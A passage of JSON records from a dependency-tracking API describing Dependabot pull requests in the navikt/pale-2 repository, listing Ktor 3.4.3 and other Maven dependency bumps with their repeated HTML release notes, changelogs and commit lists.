response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatib...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/pale-2/pull/428","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fpale-2/issues/428","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/428/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-11T04:42:05.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4418114649","node_id":"PR_kwDOHkZVns7aG_0q","number":38,"state":"closed","title":"Bump the all-deps group across 1 directory with 26 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-18T05:20:16.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-11T04:42:05.000Z","updated_at":"2026-05-18T05:20:18.000Z","time_to_close":607091,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"all-deps","update_count":26,"packages":[{"name":"io.ktor:ktor-server-core","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-double-receive","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jvm","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-request-validation","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-auth","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-cio","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"commons-codec:commons-codec","old_version":"1.21.0","new_version":"1.22.0","repository_url":"https://github.com/apache/commons-codec"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.3.0","new_version":"12.5.0"},{"name":"io.micrometer:micrometer-registry-prometheus","old_version":"1.16.4","new_version":"1.16.5","repository_url":"https://github.com/micrometer-metrics/micrometer"},{"name":"org.testcontainers:testcontainers","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.testcontainers:testcontainers-kafka","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.testcontainers:testcontainers-junit-jupiter","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"software.xdev.mockserver:testcontainers","old_version":"2.50.5","new_version":"2.50.6","repository_url":"https://github.com/xdev-software/mockserver-neolight"},{"name":"software.xdev.mockserver:client","old_version":"2.50.5","new_version":"2.50.6","repository_url":"https://github.com/xdev-software/mockserver-neolight"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the all-deps group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-double-receive](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-serialization-kotlinx-json](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-status-pages](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-auth-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-request-validation](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-cio](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [commons-codec:commons-codec](https://github.com/apache/commons-codec) | `1.21.0` | `1.22.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-database-postgresql | `12.3.0` | `12.5.0` |\n| [io.micrometer:micrometer-registry-prometheus](https://github.com/micrometer-metrics/micrometer) | `1.16.4` | `1.16.5` |\n| [org.testcontainers:testcontainers](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [org.testcontainers:testcontainers-kafka](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [org.testcontainers:testcontainers-junit-jupiter](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [software.xdev.mockserver:testcontainers](https://github.com/xdev-software/mockserver-neolight) | `2.50.5` | `2.50.6` |\n| [software.xdev.mockserver:client](https://github.com/xdev-software/mockserver-neolight) | `2.50.5` | `2.50.6` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `io.ktor:ktor-server-core` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-double-receive` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-double-receive's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-double-receive's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 